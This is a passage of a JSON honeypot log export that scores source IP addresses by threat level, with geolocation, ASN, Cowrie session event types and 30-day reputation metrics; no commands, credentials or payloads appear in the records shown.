      "last_seen": "2026-05-14T13:36:52.746Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 136969,
      "as_org": "KK Networks Pvt Ltd.",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:35:22.231000+00:00",
        "last_seen_30d": "2026-05-14T13:37:53.575000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "189.55.152.236": {
      "attack_count": 4,
      "first_seen": "2026-05-22T02:09:30.135Z",
      "last_seen": "2026-05-22T02:13:32.534Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Vicente",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T02:09:30.135000+00:00",
        "last_seen_30d": "2026-05-22T02:26:40.854000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.203": {
      "attack_count": 4,
      "first_seen": "2026-05-14T10:56:17.886Z",
      "last_seen": "2026-05-14T10:56:21.398Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:28:58.864000+00:00",
        "last_seen_30d": "2026-05-31T09:09:33.242000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 21,
        "Cowrie": 4,
        "ConPot": 1,
        "Wordpot": 1
      }
    },
    "5.61.209.24": {
      "attack_count": 4,
      "first_seen": "2026-05-23T20:53:52.276Z",
      "last_seen": "2026-05-23T20:54:02.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.9,
        "persistence": 23.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 28,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T09:24:46+00:00",
        "last_seen_30d": "2026-05-30T14:02:24.131000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 54,
        "Cowrie": 4
      }
    },
    "91.230.168.54": {
      "attack_count": 3,
      "first_seen": "2026-05-26T20:04:27.081Z",
      "last_seen": "2026-05-26T20:04:27.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 68.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 20,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-10T11:44:09.586000+00:00",
        "last_seen_30d": "2026-05-29T02:18:18.504000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 12,
        "Cowrie": 3,
        "Ciscoasa": 1
      }
    },
    "102.88.55.217": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:06:03.032Z",
      "last_seen": "2026-05-08T19:06:16.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:06:03.032000+00:00",
        "last_seen_30d": "2026-05-08T19:07:19.159000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.102.206.251": {
      "attack_count": 2,
      "first_seen": "2026-05-06T11:09:49.463Z",
      "last_seen": "2026-05-06T11:10:02.245Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 137967,
      "as_org": "Digicon Telecommunication Ltd",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:09:49.463000+00:00",
        "last_seen_30d": "2026-05-06T11:11:03.721000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.140.131.168": {
      "attack_count": 2,
      "first_seen": "2026-05-06T13:07:18.159Z",
      "last_seen": "2026-05-06T13:07:32.171Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Serang",
      "asn": 138866,
      "as_org": "PT Mitra Media Data",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T13:07:18.159000+00:00",
        "last_seen_30d": "2026-05-15T04:21:39.198000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2,
        "Honeytrap": 1
      }
    },
    "103.148.62.83": {
      "attack_count": 2,
      "first_seen": "2026-05-10T09:06:00.125Z",
      "last_seen": "2026-05-10T09:06:15.439Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137127,
      "as_org": "Navkar Supertech Pvt Ltd",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:06:00.125000+00:00",
        "last_seen_30d": "2026-05-10T09:07:18.048000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.152.52.209": {
      "attack_count": 2,
      "first_seen": "2026-05-05T03:40:56.671Z",
      "last_seen": "2026-05-05T03:40:56.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:40:56.671000+00:00",
        "last_seen_30d": "2026-05-05T03:41:57.334000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.95.142.245": {
      "attack_count": 2,
      "first_seen": "2026-05-13T12:27:09.165Z",
      "last_seen": "2026-05-13T12:27:21.405Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:27:09.165000+00:00",
        "last_seen_30d": "2026-05-13T12:28:26.119000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.138.105.44": {
      "attack_count": 2,
      "first_seen": "2026-05-22T13:51:08.030Z",
      "last_seen": "2026-05-22T13:51:39.155Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:51:08.030000+00:00",
        "last_seen_30d": "2026-05-23T13:27:43.286000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "115.227.198.163": {
      "attack_count": 2,
      "first_seen": "2026-05-17T01:12:45.854Z",
      "last_seen": "2026-05-17T01:12:57.984Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T01:12:45.854000+00:00",
        "last_seen_30d": "2026-05-17T01:14:00.097000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.172.67.190": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:12:01.475Z",
      "last_seen": "2026-05-22T22:12:14.724Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:12:01.475000+00:00",
        "last_seen_30d": "2026-05-22T22:13:21.038000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "153.205.12.223": {
      "attack_count": 2,
      "first_seen": "2026-05-06T02:58:51.334Z",
      "last_seen": "2026-05-06T02:59:04.891Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Yokohama",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:58:51.334000+00:00",
        "last_seen_30d": "2026-05-06T03:00:05.454000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.228.204.174": {
      "attack_count": 2,
      "first_seen": "2026-05-02T09:20:45.612Z",
      "last_seen": "2026-05-02T09:20:59.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santaluz",
      "asn": 264549,
      "as_org": "ADVANX INFORMATICA LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:20:45.612000+00:00",
        "last_seen_30d": "2026-05-02T09:22:02.058000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.116.30": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:32:41.417Z",
      "last_seen": "2026-05-24T20:34:41.424Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 271971,
      "as_org": "CABLE SATELITE S.DE R.L. DE C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:32:41.417000+00:00",
        "last_seen_30d": "2026-05-24T20:35:42.678000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.225.234": {
      "attack_count": 2,
      "first_seen": "2026-05-21T16:12:55.271Z",
      "last_seen": "2026-05-21T16:13:08.437Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:12:55.271000+00:00",
        "last_seen_30d": "2026-05-21T16:14:09.880000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.5.166.104": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:10:31.091Z",
      "last_seen": "2026-05-06T20:10:43.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phuket",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:10:31.091000+00:00",
        "last_seen_30d": "2026-05-06T20:11:51.819000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.10.172.147": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:11:02.977Z",
      "last_seen": "2026-05-23T06:11:16.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:11:02.977000+00:00",
        "last_seen_30d": "2026-05-23T06:12:22.098000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.239.89.65": {
      "attack_count": 2,
      "first_seen": "2026-05-09T03:55:34.950Z",
      "last_seen": "2026-05-09T03:55:47.620Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ciudad Ju\u00e1rez",
      "asn": 28509,
      "as_org": "Cablemas Telecomunicaciones SA de CV",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T03:55:34.950000+00:00",
        "last_seen_30d": "2026-05-09T03:57:35.706000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.47.68.143": {
      "attack_count": 2,
      "first_seen": "2026-05-12T02:58:44.248Z",
      "last_seen": "2026-05-12T02:58:56.562Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Boa Esperan\u00e7a",
      "asn": 262402,
      "as_org": "ZAP BL TELECOMUNICACOES LTDA",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:58:44.248000+00:00",
        "last_seen_30d": "2026-05-12T03:00:01.470000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.123.92.86": {
      "attack_count": 2,
      "first_seen": "2026-05-10T00:56:28.823Z",
      "last_seen": "2026-05-10T00:56:41.995Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Homyel",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T00:56:28.823000+00:00",
        "last_seen_30d": "2026-05-10T00:57:48.839000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.218.200.82": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:47:51.122Z",
      "last_seen": "2026-05-02T08:48:05.969Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 59668,
      "as_org": "Turon Media XK",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:47:51.122000+00:00",
        "last_seen_30d": "2026-05-02T08:49:11.230000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.44.130.191": {
      "attack_count": 2,
      "first_seen": "2026-05-09T23:22:41.015Z",
      "last_seen": "2026-05-09T23:22:54.500Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Ramos Mej\u00eda",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:22:41.015000+00:00",
        "last_seen_30d": "2026-05-09T23:24:02.775000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.146.2.0": {
      "attack_count": 2,
      "first_seen": "2026-05-22T01:29:33.374Z",
      "last_seen": "2026-05-22T01:29:46.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:29:33.374000+00:00",
        "last_seen_30d": "2026-05-22T01:30:49.529000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.225.42.71": {
      "attack_count": 2,
      "first_seen": "2026-05-16T21:02:59.167Z",
      "last_seen": "2026-05-16T21:04:59.174Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": null,
      "asn": 29256,
      "as_org": "Syrian Telecommunication Private Closed Joint Stock Company",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T21:02:59.167000+00:00",
        "last_seen_30d": "2026-05-16T21:15:05.788000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.52.206.90": {
      "attack_count": 2,
      "first_seen": "2026-05-17T00:37:44.257Z",
      "last_seen": "2026-05-17T00:39:44.261Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-17T00:37:44.257000+00:00",
        "last_seen_30d": "2026-05-17T00:39:44.261000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2
      }
    },
    "189.124.30.207": {
      "attack_count": 2,
      "first_seen": "2026-05-03T20:16:36.312Z",
      "last_seen": "2026-05-03T20:16:48.480Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Barbacena",
      "asn": 28219,
      "as_org": "Net Rosas Telecomunicacoes Ltda.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
